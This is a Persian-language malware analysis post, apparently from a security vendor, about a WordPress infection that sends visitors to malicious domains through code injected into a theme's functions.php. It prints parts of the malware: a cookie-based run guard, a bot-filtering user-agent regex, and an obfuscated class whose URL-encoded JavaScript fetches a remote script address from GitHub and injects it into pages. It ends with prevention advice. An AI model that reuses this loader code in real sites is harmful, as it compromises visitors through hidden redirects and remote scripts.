بدافزاری که بازدید از سایت وردپرس را به دام سایتهای خطرناک میکشاند
از وردپرس تا وبسایتهای آلوده: مسیری که حتی خودتان نمیدانید

مقدمه
اخیراً یکی از مشتریان پس از مشاهده این که وبسایتش بازدیدکنندگان را به یک URL مشکوک هدایت میکند، درخواست بررسی امنیتی داد. او مشکوک بود که سایت مورد نفوذ قرار گرفته و برای شناسایی و رفع مشکل کمک خواست. این موضوع ما را به یک بررسی عمیقتر درباره ماهیت آلودگی و رفتار آن سوق داد.
چه چیزی مشاهده کردیم؟
ترافیک وبسایت به آدرس hxxps://cdn1[.]massearchtraffic[.]top/sockets هدایت میشد. در بررسیها مشخص شد که سایت به نوعی کد مخرب آلوده شده است که این ریدایرکتها را ایجاد میکند. در زمان نگارش این مقاله، چندین وبسایت به این ریدایرکت مخرب آلوده شدهاند، این یک حمله Redirect و تزریق جاوااسکریپت است.
محل تزریق: کد مخرب در فایل functions.php مربوط به قالب وردپرس تزریق شده بود.
روش شناسایی: آلودگی از طریق SiteCheck شناسایی شد و با عنوان Known JavaScript Malware: redirect?fake_click.1 پرچمگذاری شد.
تحلیل کد
جلوگیری از اجرای تکراری و دورزدن مدیران
کد مخرب طوری طراحی شده که در یک نشست بیش از یکبار اجرا نشود تا توسط ابزارهای ضدبدافزار شناسایی نشود. این کار با بررسی وجود یک کوکی خاص انجام میشود. همچنین اجرای اسکریپت برای کاربران لاگینشده وردپرس دور زده میشود تا شک مدیران برانگیخته نشود.
نمونه کد:
if(isset($_COOKIE['MkQQ'])) { die('smR'.'Bh0'); }
فیلتر کردن رباتها و مسیرهای شناختهشده
بدافزار با استفاده از عبارتهای منظم پیچیده، درخواستها را بر اساس User-Agent فیلتر میکند و درخواستهای شامل الگوهای خاصی در URL مانند /wp-login.php و /wp-json را مسدود میکند.
نمونه الگو:
$bad_ua = '#(google|msnbot|baidu|yahoo|search|bing|ask|indexer|cuill.com|clushbot|360spider|80legs|aibot|aboundex|acunetix|ahrefsbot|alexibot|blexbot|backdoorbot|backweb#i';
ریدایرکت و بارگذاری پِیلودهای بیشتر
کد مخرب بازدیدکنندگان را به دامنه hxxps://streamain[.]top/api[.]php هدایت میکند. سپس اسکریپتی به مرورگر کاربر تزریق میشود که پِیلودهای اضافی را دریافت و اجرا میکند.
نمونه کلاس:
رشتههای دیکدشده:
class HTTP_X_FORWARDED_FOR { public $u = "\x68\x74\x74\x70s\x3a/\x2fs\x74r\x65a\x6dm\x61i\x6e.\x74o\x70/\x61p\x69.\x70h\x70"; function init() { print rawurldecode('%3Bvar%20url%20%3D%20%27https%3A%2F%2Fraw.githubusercontent.com%2FAlexanderRPatton%2Fcdn%2Fmain%2Frepo.txt%27%3Bfetch%28url%29.then%28response%20%3D%3E%20response.text%28%29%29.then%28data%20%3D%3E%20%7Bvar%20script%20%3D%20document.createElement%28%27script%27%29%3Bscript.src%20%3D%20data.trim%28%29%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28script%29%3B%7D%29%3B'); } } $obj = new HTTP_X_FORWARDED_FOR; $obj->init();
تأثیرات احتمالی بدافزار
هرچند پِیلود اولیه ریدایرکت کاربران است، اما احتمال ایجاد دربپشتیهای پنهان برای دسترسی مداوم وجود دارد. نشت دادههای حساس مانند اطلاعات ورود مدیران ممکن است رخ دهد و امنیت سایت را بیشتر به خطر اندازد. استفاده از تزریق جاوااسکریپت برای بارگذاری محتوای مخرب میتواند به انتشار اسپم، باجافزار یا اجرای کمپینهای فیشینگ منجر شود. با فیلتر کردن رباتها، کاربران لاگینشده و مدیران، اسکریپت مدت بیشتری ناشناس میماند و بازدیدکنندگان را به دامنههای مخرب هدایت میکند.
چگونگی آلودگی سایت و اهداف مهاجمان
مسیرهای محتمل آلودگی
- افزونهها یا قالبهای قدیمی یا نالشده با آسیبپذیریهای شناختهشده.
- کدنویسی ضعیف در قالبها یا افزونههای سفارشی که امکان تزریق اسکریپت را فراهم میکند.
- وجود بکدورهای قبلی که اجازه تزریق کدهای جدید یا آلودگی مجدد پس از پاکسازی ناقص میدهد.
- حسابهای کاربری یا دسترسیهای هاستینگ به خطر افتاده که استقرار بدافزار را تسهیل میکند.
انگیزههای احتمالی مهاجمان
- آسیب به اعتبار وبسایت از طریق هدایت به دامنههای مشکوک.
- کاهش رتبه در نتایج جستوجو به دلیل رفتارهای مخرب و جریمههای موتورهای جستوجو.
- سوءاستفاده از ترافیک قربانی برای افزایش درآمد یا گسترش کمپینهای مخرب.
- زمینهسازی برای تزریق محتوای اسپم یا بدافزار بیشتر در مراحل بعدی حمله.
جمعبندی
حمله Redirect و تزریق جاوااسکریپت با تزریق کد به فایلهای کلیدی قالب مانند functions.php میتواند به سادگی بازدیدکنندگان را به صفحات آلوده هدایت کند. شناسایی سریع با ابزارهایی مانند SiteCheck، همراه با بررسی منظم فایلها و ترافیک غیرعادی، برای جلوگیری از گسترش آلودگی ضروری است. پایش امنیتی مداوم، بهروزرسانی منظم افزونهها و قالبها، و سختگیری بر دسترسیهای مدیریتی از بهترین راهکارهای پیشگیرانه محسوب میشود.